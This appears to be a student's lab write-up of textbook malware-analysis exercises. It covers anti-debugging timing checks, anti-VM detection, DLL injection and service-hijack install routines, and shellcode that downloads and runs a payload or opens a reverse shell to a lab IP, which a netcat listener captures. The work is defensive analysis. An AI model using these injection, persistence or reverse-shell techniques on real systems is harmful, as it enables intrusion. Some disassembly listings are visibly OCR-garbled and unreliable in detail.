c. Analyze the malware in *Lab16-03.exe* using a debugger. This malware is similar to *Lab09-02.exe*, with certain modifications, including the introduction of anti-debugging techniques.

i. Which strings do you see when using static analysis on the binary?

these are the only strings of interest to us that we can observe statically.

's'	.rdata:00405434	0000000B	C	user32.dll
's'	.rdata:00405614	0000000D	C	KERNEL32.dll
's'	.rdata:00405632	0000000C	C	SHELL32.dll
's'	.rdata:0040564C	0000000B	C	WS2_32.dll
's'	.data:00406034	00000008	C	cmd.exe
's'	.data:0040603C	00000008	C	>> NUL
's'	.data:00406044	00000008	C	/c del
's'	.data:0040605F	00000005	C	\vQ\n\v\vb
...

Figure 1. strings

ii. What happens when you run this binary?

Nothing happen. It just terminates.

iii. How must you rename the sample in order for it to run properly?

In ollydbg, we set breakpoint @0x401518 (strcmp) to see what the malware is comparing against. The executable name needs to be "qgr.exe". However nothing happen when we attempt to run the malware via command line...

```

00401500: EB 90             CALL Lab16-03.004017B0
00401502: 83C4 0C          ADD ESP,0C
00401504: 85C0              TEST EAX,ERK
00401506: V74 0A             JE SHORT Lab16-03.0040152E
00401508: BB 01000000        MOV ERK,1
0040150A: E9 50010000        JMP Lab16-03.00401698
0040150C: 8065 6CF0FFFF      LEA EAX,DWORD PTR SS:[EBP-294]
0040150E: 50                 PUSH EAX
0040150F: 68 02000000        PUSH 202
00401510: FF15 C0504000      CALL DWORD PTR DS:[<WS2_32.dll!115>]
00401512: 99E5 60FDFFFF      MOV DWORD PTR SS:[EBP-280],ERK
00401514: 83E0 50FDFFFF      CMP DWORD PTR SS:[EBP-280],0
00401516: V74 0A             JE SHORT Lab16-03.00401559
00401518: BB 01000000        MOV ERK,1
0040151A: E9 3F010000        JMP Lab16-03.00401698
0040151C: > 6A 00             PUSH 0
0040151D: 6A 00             PUSH 0
0040151E: 6A 00             PUSH 0
0040151F: 6A 06             PUSH 6
00401520: 6A 01             PUSH 1
00401521: 6A 02             PUSH 2
00401522: FF15 C0504000      CALL DWORD PTR DS:[<WS2_32.dll!MSocketR>]
00401524: 99E5 FCFBFFFF      MOV DWORD PTR SS:[EBP-404],ERK
00401526: 83E0 FCFBFFFF      CMP DWORD PTR SS:[EBP-404],-1
00401528: V76 0A             INC SHORT Lab16-03.00401504
0040152A: BB 01000000        MOV ERK,1
0040152C: E9 14010000        JMP Lab16-03.00401698
0040152E: FF15 16504000      CALL DWORD PTR DS:[<KERNEL32.dll!GetTickCount>]
00401530: 99E5 4CF0FFFF      MOV DWORD PTR SS:[EBP-284],ERK
00401532: 89E5 4CF0FFFF      CALL Lab16-03.00401000
00401534: 99E5 44FDFFFF      CALL DWORD PTR DS:[<KERNEL32.dll!GetTickCount>]
00401536: 89E5 44FDFFFF      MOV DWORD PTR SS:[EBP-28C],ERK
00401538: 0BBD 44FDFFFF      MOV ECX,DWORD PTR SS:[EBP-28C]
0040153A: 2B80 4CF0FFFF      SUB ECX,DWORD PTR SS:[EBP-284]
0040153C: C9                 RETN
0040153D: 83F9 01             CBW ECX
0040153E: V76 05             JBE SHORT Lab16-03.004015B7
0040153F: 33D9               XOR ERK,ERK
00401540: 8918               MOV DWORD PTR DS:[ERK],EDX
00401541: C9                 RETN
00401542: > 8095 00FFFFFF     LEA EDX,DWORD PTR SS:[EBP-100]
00401543: 52                 PUSH EDX
00401544: Lab16-03.004017B0

```

Address	Hex dump	RS211	00401500
00401500	00 00 00 00 00 00 00 00	0012FB64	0012FB64 RSV1 "Lab16-03.exe"
00401508	00 00 00 00 00 00 00 00	0012FB6C	00000004
00401510	00 00 00 00 00 00 00 00	0012FB70	00010280 htdll.7C910280
00401512	00 00 00 00 00 00 00 00	0012FB74	FFFFFFF0
00401520	00 00 00 00 00 00 00 00	0012FB78	0FFF0000

Figure 2. qgr.exe

Firing up IDA Pro we trace back the variable that was used to match against the current running executable filename.

```

mov    [ebp+var_200], 0
mov    [ebp+var_29C], 'o'
mov    [ebp+var_298], 'c'
mov    [ebp+var_290], 'l'
mov    [ebp+var_299], '.'
mov    [ebp+var_298], 'e'
mov    [ebp+var_297], 'x'
mov    [ebp+var_296], 'e'
mov    [ebp+var_295], 0
mov    [ebp+name], 0
mov    ecx, 3Fh
xor    eax, eax
lea    edi, [ebp+var_FF]
rep stosd
stosw
stosb
mov    ecx, 7
mov    esi, offset unk_40604C
lea    edi, [ebp+var_2F0]
rep movsd
movsb
mov    [ebp+var_2B8], 0
mov    [ebp+Filename], 0
mov    ecx, 43h
xor    eax, eax
lea    edi, [ebp+var_3FF]
rep stosd
stosb
lea    eax, [ebp+var_290]
push  eax
call  timediff
add   esp, 4
push  10Eh          ; nSize
lea    ecx, [ebp+Filename]
push  ecx          ; lpFilename
push  0             ; hModule
call  ds:GetModuleFileNameA
push  5Ch            ; int
lea    edx, [ebp+Filename]
push  edx            ; char *
call  _strchr
add   esp, 8
mov    [ebp+var_104], eax
push  104h           ; size_t
mov    eax, [ebp+var_104]
add   eax, 1
mov    [ebp+var_104], eax
mov    ecx, [ebp+var_104]
push  ecx            ; char *
lea    edx, [ebp+var_290]
push  edx            ; char *
call  _strcmp
add   esp, 8

```

Figure 3. var_29C

Seems like the variable is initially set to ocl.exe. It is then passed to a function where [QueryPerformanceCounter](#) was called twice... In between the 2 QueryPerformanceCounter is a Division by zero opcodes that is purposely set there to slow down the debugged process.

The time difference between the 2 QueryPerformanceCounter will determine if var_118 is 2 or 1 which will affect the return result of this subroutine. If we are using debugger the QueryPerformanceCounter difference might be above 1200 due to the triggering of the division by 0 error... if the time difference is above 1200, var_118 will be set to 2 and the filename should be qgr.exe else var_118 will be set to 1 and the filename should be peo.exe.




Figure 4.

QueryPerformanceCounter

By manually making sure that var_118 is set to 1 and not 2, we get the following filename; **peo.exe**.

Renaming the executable as **peo.exe** will do the trick in running the app properly.




Figure 5. peo.exe

iv. Which anti-debugging techniques does this malware employ?

The techniques used are all time based approach

1. QueryPerformanceCounter
2. GetTickCount
3. rdtsc (subroutine: @0x401300)

v. For each technique, what does the malware do if it determines it is running in a debugger?

1. QueryPerformanceCounter – determines what name should the executable be, in order to execute properly
2. GetTickCount – crashes the program by referencing a null pointer
3. rdtsc – call subroutine @0x004010E0; self delete

vi. Why are the anti-debugging techniques successful in this malware?

The malware purposely triggers division by 0 error that will cause any attached debugger to break and for the analyst to rectify. This action itself is time consuming as compared to a program without debugger attached throwing exception and letting SEH handler to do the job. Therefore the malware codes are able to determine whether a debugger is being attached just via the time difference.

vii. What domain name does this malware use?

adg.malwareanalysisbook.com




Figure 6. adg.malwareanalysisbook.com

d. Analyze the malware found in *Lab17-01.exe* inside VMware. This is the same malware as *Lab07-01.exe*, with added anti-VMware techniques.

i. What anti-VM techniques does this malware use?

The malware uses vulnerable instruction: **sidt,sldt and str**

```

loc_401185:
sidt    Fword ptr [ebp+var_428]
mov     eax, dword ptr [ebp+var_428+2]
mov     [ebp+var_420], eax
push    offset Name      ; "HGL345"
push    0                 ; bInitialOwner
push    0                 ; lpMutexAttributes
call    ds:CreateMutexA
mov     [ebp+var_408], eax
mov     ecx, [ebp+var_420]
shr     ecx, 18h
cmp     ecx, 0FFh
jz     loc_40132D

```

Figure 1. sidt instruction

The malware issues the sidt instruction as shown above, which stores the contents of IDTR into the memory location pointed to by var_428. The IDTR is 6 bytes, and the fifth byte offset contains the start of the base memory address. That fifth byte is compared to 0xFF, the VMware signature. We can see that var_428+2 is set to var_420. Later on in the opcodes we can observe that var_420 is shifted right by 3 bytes thus pointing it to the 5th byte.

ii. If you have the commercial version of IDA Pro, run the IDA Python script from Listing 17-4 in Chapter 17 (provided here as `findAntiVM.py`). What does it find?

```

Number of potential Anti-VM instructions: 3
Anti-VM: 00401121
Anti-VM: 004011b5
Anti-VM: 00401204

```

VM instructions found

1. 00401121 – sldt
2. 004011b5 – sidt
3. 00401204 – str

Figure 2. 3 Anti-

iii. What happens when each anti-VM technique succeeds?

1. 00401121 – sldt; service created but thread to openurl is not created the program terminates.
2. 004011b5 – sidt; sub routine 0x401000 will be invoked, the program will be deleted
3. 00401204 – str; sub routine 0x401000 will be invoked, the program will be deleted

iv. Which of these anti-VM techniques work against your virtual machine?

None...

v. Why does each anti-VM technique work or fail?

It depends on the hardware and the vmware used.

vi. How could you disable these anti-VM techniques and get the malware to run?

1. nop the instruction
2. patch the jmp instruction

e. Analyze the malware found in the file *Lab17-02.dll* inside VMware. After answering the first question in this lab, try to run the installation exports using *rundll32.exe* and monitor them with a tool like procmon. The following is an example command line for executing the DLL:
rundll32.exe Lab17-02.dll,InstallRT (or *InstallSA/InstallSB*)

i. What are the exports for this DLL?

Name	Address	Ordinal
InstallRT	1000D847	1
InstallSA	1000DEC1	2
InstallSB	1000E892	3
PSLIST	10007025	4
ServiceMain	1000CF30	5
StartEXS	10007ECB	6
UninstallRT	1000F405	7
UninstallSA	1000EA05	8
UninstallSB	1000F138	9
DllEntryPoint	1001516D	[main entry]

Figure 1. Exports

ii. What happens after the attempted installation using *rundll32.exe*?

The dll gets deleted. A File *xinstall.log* was dropped. *vmselfdelete.bat* file was dropped, executed and subsequently deleted as well. From the log file created, it seems that the malware has detected that it is running in a VM thus deleting itself.




Figure 2. *xinstall.log*

iii. Which files are created and what do they contain?

2 files are created; *xinstall.log* & *vmselfdel.bat*.

vmselfdel.bat can be traced to the subroutine @10005567 using IDA Pro. Needless to say, the purpose of the batch file is to delete the dll and itself from the system.

```

push    offset a_Umselfdel_bat ; ".\\umselfdel.bat"
push    eax                      ; Dest
call    ds:sprintf
lea     eax, [ebp+Dest]
push    offset aW                ; "W"
push    eax                      ; Filename
call    ds:fopen
mov    edi, eax
add    esp, 10h
test   edi, edi
jz     short loc_10005634

```



```

push    esi
mov    esi, ds:fprintf
push    offset a@echoOFF ; "@echo off\r\n"
push    edi              ; File
call    esi ; fprintf
push    offset aSelfkill ; ":selfkill\r\n"
push    edi              ; File
call    esi ; fprintf
lea     eax, [ebp+Filename]
push    eax
push    offset aAttribARSHS ; "attrib -a -r -s -h \"%s\"\r\n"
push    edi              ; File
call    esi ; fprintf
lea     eax, [ebp+Filename]
push    eax
push    offset aDelS      ; "del \"%s\"\r\n"
push    edi              ; File
call    esi ; fprintf
lea     eax, [ebp+Filename]
push    eax
push    offset aIfExistSGotoSe ; "if exist \"%s\" goto selfkill\r\n"
push    edi              ; File
call    esi ; fprintf
push    offset aDel0      ; "del %%0\r\n"
push    edi              ; File
call    esi ; fprintf
add    esp, 3Ch
pop    esi

```

Figure 3. self delete

iv. What method of anti-VM is in use?

querying I/O communication port.

VMware uses virtual I/O ports for communication between the virtual machine and the host operating system to support functionality like copy and paste between the two systems. The port can be queried and compared with a magic number to identify the use of VMware.

The success of this technique depends on the x86 `in` instruction, which copies data from the I/O port specified by the source operand to a memory location specified by the destination operand. VMware monitors the use of the `in` instruction and captures the I/O destined for the

ommunication channel port 0x5668 (VX). Therefore, the second operand needs to be loaded with VX in order to check for VMware, which happens only when the EAX register is loaded with the magic number 0x564D5868 (VMXh). ECX must be loaded with a value corresponding to the action you wish to perform on the port. The value 0xA means “get VMware version type” and 0x14 means “get the memory size.” Both can be used to detect VMware, but 0xA is more popular because it may determine the VMware version.

```

sub_10006196 proc near

var_1C= byte ptr -1Ch
ms_exc= CPPEH_RECORD ptr -18h

push    ebp
mov     ebp, esp
push    0FFFFFFFh
push    offset stru_10016438
push    offset loc_10015050
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
sub    esp, 8Ch
push    ebx
push    esi
push    edi
mov     [ebp+ms_exc.old_esp], esp
mov     [ebp+var_1C], 1
and    [ebp+ms_exc.registration.TryLevel], 0
push    edx
push    ecx
push    ebx
mov     eax, 'UMXh'
mov     ebx, 0
mov     ecx, [ebp+var_1C]
mov     edx, 'UX'
in     eax, dx
cmp    ebx, 'UMXh'
setz   [ebp+var_1C]
pop    ebx
pop    ecx
pop    edx
jmp    short loc_100061F6

```

Figure 4. Querying I/O comm port

v. How could you force the malware to install during runtime?

1. Patch the jump condition (3 places need to patch since checkVM sub routine is xref 3 times)
2. patch the in instruction in Figure 4 to nop




Figure 5. patching

vi. How could you permanently disable the anti-VM technique?

Just patch the above and make the changes to the disk. Based on Figure 5, we could also patch the string @ offset 10019034 -> 10019248 from [This is DVM]5 to [This is DVM]0 to disable the check.

vii. How does each installation export function work?

1. InstallRT

Inject dll into either iexplore.exe or a custom process name that is passed in as argument.

In brief the subroutine @1000D847 will do the following

1. Get the dll filename via [GetModuleFileNameA](#)
2. Get System Directory path via [GetSystemDirectoryA](#)
3. Copy the current dll into system directory with the same file name
4. Get the pid of a process; either iexplore.exe by default or a custom process name passed in as an argument
5. Get higher privilege by changing token to SeDebugPrivilege
6. Inject dll via CreateRemoteThread on the pid retrieved in 4.




Figure 6. Install RT

2. InstallSA

Install as a Service

In brief the subroutine @1000D847 will do the following

1. [RegOpenKeyExA](#) – HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
2. [RegQueryValueExA](#) – netsvcs
3. loop through the data to find either Irmon or a custom string passed in as an argument
4. [CreateServiceA](#) – with service name as Irmon or a custom string passed in as an argument
5. Add data to HKLM\SYSTEM\ControlSet001\Services\[Irmon | custom]\description
6. Creates a parameter key in HKLM\SYSTEM\CurrentControlSet\Services\[Irmon | custom]
7. Creates a Servicedll key in HKLM\SYSTEM\CurrentControlSet\Services\[Irmon | custom] with the path of the dll as the value

8. Start the service
9. Creates a win.ini file in windows directory
10. Writes a Completed key to SoftWare\Microsoft\Internet Connection Wizard\
If SoftWare\Microsoft\Internet Connection Wizard\ does not exists




Figure 7. InstallSA

3. InstallSB

It first calls sub routine 0x10005A0A to

1. Attain higher privileges via adjusting token to SeDebugPrivilege
2. It then gets the WinLogon Pid
3. It then get the windows version to determine which sfc dll name to use
4. It then uses CreateRemoteThread to get Winlogon process to disable file protection via sfc

It then calls the subroutine @0x1000DF22 to

1. It first query service config of NtmsSvc service
2. If service dwStartType is > 2, it will then change the service to SERVICE_AUTO_START
3. If then checks if the service is running or paused. If it is running or in paused state, it will stop the service.
4. It then queries HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\Netsvc values
5. It then gets the PID of svchost and check if the malicious module is loaded
6. backup c:\windows\system32\ntmssvc.dll to c:\windows\system32\ntmssvc.dll.obak
7. copy current dll to c:\windows\system32\ntmssvc.dll
8. If ntmssvc.dll isn't loaded, the malware will then inject it into svchost
9. Starts the created service
10. Creates a win.ini file in windows directory
11. Writes a Completed key to "SoftWare\Microsoft\Internet Connection Wizard\" if "SoftWare\Microsoft\Internet Connection Wizard\" does not exists

f. Analyze the malware *Lab17-03.exe* inside VMware.**i. What happens when you run this malware in a virtual machine?**

The malware terminates.

ii. How could you get this malware to run and drop its keylogger?

we can patch the jump instructions at the following address

1. 0x004019A1
2. 0x004019C0
3. 0x00401A2F
4. 0x00401467

iii. Which anti-VM techniques does this malware use?

@00401A80: I/O communication port

@004011C0: checking registry key
SYSTEM\CurrentControlSet\Control\DeviceClasses\vmware

@00401670: checking mac address

@00401130: checking for vmware process name (hash of first 6 chars)

iv. What system changes could you make to permanently avoid the anti-VM techniques used by this malware?

1. Patch the binaries
2. Change Mac Address
3. Remove VMware tools

v. How could you patch the binary in OllyDbg to force the anti-VM techniques to permanently fail?

Change the following instruction to xor instead

```
.text:00401991          mov    ebp, esp
.text:00401993          sub    esp, 408h
.text:00401999          push   edi
.text:0040199A          call   in_Check
.text:0040199F          test   eax, eax
.text:004019A1          jz    short loc_4019AA
.text:004019A3          xor    eax, eax
.text:004019A5          jmp    loc_401A71

```

Figure 5. in instruction patch

Change the following instruction to xor instead

```

.text:004019A5          jmp    loc_4019A7
.text:004019AA ; ...
.text:004019AA loc_4019AA:           ; CODE XREF: _main+117j
.push   2                 ; int
.push   offset SubKey   ; "SYSTEM\CurrentControlSet\Control\Dev...
.push   80000002h        ; hKey
.call   CheckUMRegistry
.add    esp, 0Ch
.test  eax, eax
.jz    short loc_4019C9
.xor   eax, eax
jmp   loc_401A71
.text:004019C9 ; ...
.text:004019C9 loc_4019C9:           ; CODE XREF: _main+307j

```

Figure 6. Registry checking patch

Nop out the calling of this subroutine

```

.text:00401A19          mov    ecx, [ebp+hModule]
.text:00401A1F          push   ecx             ; hModule
.text:00401A20 call   MacAddress
.text:00401A25          add    esp, 4
.text:00401A28          mov    [ebp+lpAddress], eax
.text:00401A2B          cmp    [ebp+lpAddress], 0

```

Figure vii. Mac Address patching

Change the hash to AAAA AAAA to invalidate the search

```

.text:00401450          pushn  0
.text:00401458          push   0F30D12A5h
.text:0040145D          call   checkHash
.text:00401462          add    esp, 8

```

Figure 8. Process Name Hash patching

Practical No. 10

a. Analyze the file *Lab19-01.bin* using *shellcode_launcher.exe*

i. How is the shellcode encoded?

The shellcode is alphabetically encoded. In figure 2, we can see the function responsible for decoding.

```

004011FC: . 41          INC ECX
004011FD: . 41          INC ECX
004011FE: . 41          INC ECX
004011FF: . 41          INC ECX
00401200: . 33C9        XOR ECX,ECX
00401202: . 66:89 8D01  MOV CX,18D
00401206: . EB 17       JMP SHORT 0040121F
00401208: $ 5E          POP ESI
00401209: . 56          PUSH ESI
0040120A: . 8BFE        MOV EDI,ESI
0040120C: > AC          LODS BYTE PTR DS:[ESI]
0040120D: . 8AD0        MOV DL,AL
0040120F: . 80EA 41     SUB DL,41
00401212: . C0E2 04     SHL DL,4
00401215: . AC          LODS BYTE PTR DS:[ESI]
00401216: . 2C 41       SUB AL,41
00401218: . 02C2        ADD AL,DL
0040121A: . AA          STOS BYTE PTR ES:[EDI]
0040121B: . 49          DEC ECX
0040121C: . 75 EE       JNZ SHORT 0040120C
0040121E: . C3          RETN
0040121F: > E8 E4FFFFFF  CALL 00401208
00401224: . 89E5        MOV EBP,ESP
00401226: . 81EC 40000000 SUB ESP,40
0040122C: . E9 33414141  JMP 41815364
00401231: $ 41          INC ECX
00401232: . 41          INC ECX
00401233: . 41          INC ECX

```

Lab19-01.00401231(guessed Arg1)

Figure 2. Decoding Function

ii. Which functions does the shellcode manually import?

We can use a tool called sctest to help us to emulate the shellcode.

```

remnux@remnux: ~/Desktop
File Edit Jabs Help
remnux@remnux:~/Desktop$ shellcode2exe.py -s Lab19-01.bin
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file Lab19-01.bin
Generating executable file
Writing file Lab19-01.exe
Done.
remnux@remnux:~/Desktop$ sctest -Svs 1000000 < Lab19-01.bin > sctest-lab19.txt
remnux@remnux:~/Desktop$ 

```

Figure 3. sctest



```

File Edit Search Options Help
verbose = 1
unhooked call to GetCurrentProcess
stepcount 236074
HMODULE LoadLibraryA (
    LPCTSTR lpFileName = 0x00417369 => |
        = "URLMON";
) = 0x7df20000;
UINT GetSystemDirectory (
    LPTSTR lpBuffer = 0x004173b1 =>
        = "c:\WINDOWS\system32";
    UINT uSize = 128;
) = 19;
HRESULT URLDownloadToFile (
    LPUNKNOWN pCaller = 0x00000000 =>
        none;
    LPCTSTR szURL = 0x00417370 =>
        = "http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe";
    LPCTSTR szFileName = 0x004173b1 =>
        = "c:\WINDOWS\system32\1.exe";
    DWORD dwReserved = 0;
    LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
    LPCSTR lpCmdLine = 0x004173b1 =>
        = "c:\WINDOWS\system32\1.exe";
    UINT uCmdShow = 5;
) = 32;

```

Figure 4. scctest output

We can see that the shellcode uses LoadLibraryA, GetSystemDirectory, URLDownloadToFile and WinExec. We can also use ollydbg to see it live.

iii. What network host does the shellcode communicate with?

As seen in Figure 4, the shellcode communicates with http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.

iv. What filesystem residue does the shellcode leave?

c:\windows\system32\1.exe

v. What does the shellcode do?

1. Download http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.
2. Save the payload as c:\windows\system32\1.exe
3. Execute the payload

b- The file *Lab19-02.exe* contains a piece of shellcode that will be injected into another process and run. Analyze this file.

i. What process is injected with the shellcode?

Firing up IDA Pro we can immediately see that a function is called to create a new process and thereafter injecting shellcode into it.

```

text:004013BF ; 
text:004013BF loc_4013BF:                                ; CODE XREF: _main+691j
text:004013BF     lea      ecx, [ebp+Data] 
text:004013C5     push    ecx 
text:004013C6     push    offset aGotPathS ; "Got path: %s\n" 
text:004013CB     call    sub_40143D 
text:004013D0     add     esp, 8 
text:004013D3     lea      edx, [ebp+dwProcessId] 
text:004013D6     push    edx ; int 
text:004013D7     lea      eax, [ebp+Data] 
text:004013D9     push    eax ; lpCommandLine 
text:004013DE     call    GetProcessID 
text:004013E3     add     esp, 8 
text:004013E6     mov     [ebp+var_8], eax 
text:004013E9     cmp     [ebp+var_8], 0 
text:004013ED     jnz    short loc_401403 
text:004013EF     push    offset aErrorLaunching ; "Error launching new process\n" 
text:004013F4     call    sub_40143D 
text:004013F9     add     esp, 4 
text:004013FC     mov     eax, 1 
text:00401401     jnp    short loc_401438 
text:00401403 ; 
text:00401403 loc_401403:                                ; CODE XREF: _main+AD1j
text:00401403     push    1A7h ; dwSize 
text:00401408     push    offset unk_407030 ; lpBuffer 
text:0040140D     mov     ecx, [ebp+dwProcessId] 
text:00401410     push    ecx ; dwProcessId 
text:00401411     call    ProcessInjection 
text:00401416     add     esp, 0Ch 
text:00401419     mov     [ebp+var_8], eax 
text:0040141C     cmp     [ebp+var_8], 0 
text:00401420     jnz    short loc_401436 
text:00401422     push    offset aErrorInjecting ; "Error injecting process\n" 
text:00401427     call    sub_40143D 
text:0040142C     add     esp, 4 
text:0040142F     mov     eax, 1 
text:00401434     jnp    short loc_401438 
text:00401436 : 

```

Figure 1. Launching new process

To see the arguments passed into the GetProcessID function (refer to 0x4013DE) we can set a breakpoint in ollydbg.



Figure 2. iexplore.exe is the targeted process

From figure 2, we can see that iexplore.exe path is passed into a function. The function then uses this path to CreateProcess.

ii. Where is the shellcode located?

To find the shellcode, I would first try to find the function call responsible for writing the shellcode into the remote process. `WriteProcessMemory` is a good place to start.




Figure 3. WriteProcessMemory

At address 0x00401230, we can see a function with a `l pBuffer` argument passed in along with the buffer size and a process id. It is not hard to guess that this function is responsible for opening a

handle to the remote process and eventually writing payload into it. We would just need to trace who called this function to find out where is the shellcode located.

```
**CALLED BY: ?????
.text:00401403 loc_401403:          ; CODE XREF: _main+ADtj
.text:00401403                 push  107h      ; dwSize
.text:00401408                 push  offset loc_407030 ; lpBuffer
.text:0040140D                 mov   ecx, [ebp+dwProcessId]
.text:00401410                 push  ecx      ; dwProcessId
.text:00401411                 call  ProcessInjection
.text:00401416                 add   esp, 0Ch
.text:00401419                 mov   [ebp+var_8], eax
.text:0040141C                 cmp   [ebp+var_8], 0
.text:00401420                 jnz   short loc_401436
.text:00401422                 push  offset aErrorInjecting ; "Error injecting process\n"
.text:00401427                 call  sub_401430
.text:0040142C                 add   esp, 4
.text:0040142F                 mov   eax, 1
.text:00401434                 jnp   short loc_401438
**END OF FUNCTION???
```

Figure 4. Shellcode located at 0x407030

Seems like we have found the shellcode @0x407030. Lets take a peek at the shellcode =) as shown below... Press "C" to convert the bytes to code.

,data:00407030		
,data:00407030		
,data:00407030		
,data:00407030 EB 11		loc_407030: jnp short loc_407030 ; DATA XREF: _main+C8tj
,data:00407032		
,data:00407032		
,data:00407032		
,data:00407032 3F		loc_407032: pop edi
,data:00407033 66 48 8F 01		push small 10Eh
,data:00407037 66 59		pop es
,data:00407039 00 E7		mov al, 0E7h
,data:0040703B		
,data:0040703B 3B E7		loc_407030: xor [edi], al
,data:0040703D A7		inc edi
,data:0040703E 67 E2 F8		loopw loc_407030
,data:00407041 EB 05		jnp short loc_40704B
,data:00407043		
,data:00407043		
,data:00407043 00 EA FF FF FF		loc_407032: call loc_407032 ; CODE XREF: .data:loc_407032tj
,data:00407048		
,data:00407048 0E		loc_407048: outsb add ah, [esi+00h] ; CODE XREF: .data:00407048tj
,data:00407049 02 66 00		
,data:00407049		
,data:0040704C C7		db 0E7h ; + 0
,data:0040704D C7		db 0E7h ; + 1
,data:0040704E C7		db 0E7h ; + 1
,data:0040704F C7		db 0E7h ; + 1
,data:00407050 0E		db 0Eh
,data:00407051 0E		db 05h ; + 0
,data:00407052 E6		db 0E5h ; + 0
,data:00407053 C7		db 0E7h ; + 1
,data:00407054 E7		db 0E7h ; + 1
,data:00407055 01		db 00h
,data:00407056 00		db 00h
,data:00407057 0C		db 0ECh
,data:00407058 92		db 02h ; + 0
,data:00407059 C9		db 0C3h ; + 0
,data:0040705A EB		db 0E3h ; + 0
,data:0040705B 06		db 0E6h ; + 0
,data:0040705C 18		db 18h
,data:0040705D 10		db 10h
,data:0040705E 00		db 00h

Figure 5. A peek into the shellcode

iii. How is the shellcode encoded?

Looking at the shellcodes in Figure 6, we can see that the author is using the “call” trick (as seen in step 2) to get the address of the shellcode. Analyzing the codes, we can that the shellcodes from 0x407048 onwards are decoded using XOR with 0xE7.

```

.data:00407030 ; 
.data:00407038 ; 
.data:00407038 loc_407038:          ; DATA XREF: _main+68h
    .date:00407038         jmp     short loc_407043 ; DATA XREF: _main+68h
    .data:00407032 ; 
    .data:00407032 ; 
    .data:00407032 loc_407032:          ; CODE XREF: .data:loc_407043ip
        .date:00407032         pop     edi
        .data:00407033         push    small 18Fh
        .data:00407037         pop     cx
        .data:00407039         mov     al, 0E7h
        .data:0040703B ; 
    2.   .data:0040703B loc_40703B:          ; CODE XREF: .data:loc_407043ip
        .date:0040703B         xor    [edi], al
        .data:0040703D         inc     edi
        .data:0040703E         loopw  loc_40703B
        .data:00407041         jmp     short loc_407048
        .data:00407043 ; 
        .data:00407043 loc_407043:          ; CODE XREF: .data:loc_407043ip
        .date:00407043         call    loc_407032 ; CODE XREF: .data:loc_407043ip
        .data:00407048 ; 
        .data:00407048 loc_407048:          ; CODE XREF: .data:loc_407043ip
        .date:00407048         outsb
        .data:00407049         add    ah, [esi+08h]
        .data:00407049 ; 

```

1.

2.

Figure 6. Shellcode using call instruction and XOR

iv. Which functions does the shellcode manually import?

To analyze the shellcode, we can either extract the shellcode and run it using sctest or you can choose to use a simple trick that I be showing to break in the newly created process.

1. First break at WriteProcessMemory function
2. Before the memory is written into the remote process we change the first byte of the shellcode (0x407030) to 0xCC (breakpoint)
3. Attach debugger to the newly created IEXPLORE.exe
4. Resume Lab19-02.exe in ollydbg
5. The IEXPLORE.exe will break on executing the injected shellcode

On analyzing the shellcode, you will come across a function that is responsible for manually importing the following functions. You may also wish to break at CALL instructions in the shellcodes to trace where in the memory are the address coming from.

Address	Value	Comment
0014017F	50000000	
00140183	E80853FF	
00140187	FFFFFFFFFF	
00140188	7C801078	kernel32.LoadLibraryA
0014018F	7C802368	kernel32.CreateProcessA
00140193	7C801E1A	kernel32.TerminateProcess
00140197	7C800E85	kernel32.GetCurrentProcess
00140198	71AB6A55	ws2_32.WSAStartup
0014019F	71AB8806A	ws2_32.WSASocketA
001401A3	71AB4A07	ws2_32.connect
001401A7	00000000	
001401AB	00000000	
001401AF	00000000	
001401B3	00000000	
001401B7	00000000	
001401BB	00000000	
001401BF	00000000	
001401C3	00000000	
001401C7	00000000	

Figure 7. imports

v. What network hosts does the shellcode communicate with?

We set a breakpoint @ connect and analyze the SockAddr struct passed to it.




Figure 8. SockAddr Struct

`sin_port = 0x3412 = 13330`

`sin_addr = 0xC0A8C802 = 192.168.200.2`

Enter hex string
<input type="text" value="c0a8c802"/>
<input type="button" value="convert"/>

Hex string c0a8c802 is
192.168.200.2 (192.168.200.2)

Figure 9. Convert Hex to IP Address (online tool)

vi. What does the shellcode do?

Reverse shell(cmd.exe) to 192.168.200.2:13330. We can see that the shellcode executes CreateProcessA after connecting to the remote IP.




Figure 10. CreateProcessA

The following figure is a internal setup to see how the malware would behave on successful connection to the IP & port. As we have expected, a reverse shell connection is established.

```
remnux@remnux: ~
File Edit Tabs Help
remnux@remnux:~$ nc -l -p 13330
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>
```

A screenshot of a terminal window titled "remnux@remnux: ~". The window shows a command-line interface where the user has run the "nc -l -p 13330" command to listen for incoming connections. The response "Microsoft Windows XP [Version 5.1.2600]" and "(C) Copyright 1985-2001 Microsoft Corp." indicates that a reverse shell connection has been successfully established from a Microsoft Windows XP host to the remnux machine.

Figure 11. Reverse shell connection established

c. Analyze the file *Lab19-03.pdf*. If you get stuck and can't find the shellcode, just skip that part of the lab and analyze file *Lab19-03_sc.bin* using *shellcode_launcher.exe*.

i. What exploit is used in this PDF?

Lets recce the pdf file first to get more insight. We can see that it contains /JS and /JavaScript elements. Which indicates that this pdf **might** be using javascript to exploit the pdf...

```

remnux@remnux:~/Desktop$ pdffid Lab19-03.pdf
PDFID 0.2.1 Lab19-03.pdf
PDF Header: %PDF-1.3
obj          18
endobj       18
stream        2
endstream     2
xref          1
trailer        1
startxref      1
/Page          1
/Encrypt        0
/ObjStm        0
/JS             2
/JavaScript     3
/AA             0
/OpenAction      1
/AcroForm        0
/JBIG2Decode    0
/RichMedia       0
/Launch          0
/EmbeddedFile    0
/XFA            0
/Colors > 2^24   0

remnux@remnux:~/Desktop$ 

```

Figure 1. pdfid to recce the pdf file

using pdfextract we can easily extract the javascript contents.


```

remnux@remnux:~/Desktop$ pdfextract -s Lab19-03.pdf
[error] Breaking on: "Length 461..." at offset 0x104d
[error] Last exception: [Origami::InvalidObjectError] Failed to parse object (no:10,gen:0)
-> [Origami::InvalidNameObjectError] Bad name format
Extracted 1 PDF streams to 'Lab19-03.dump/streams'.
remnux@remnux:~/Desktop$ 

```

Figure 2. Extract javascript via pdfextract tool

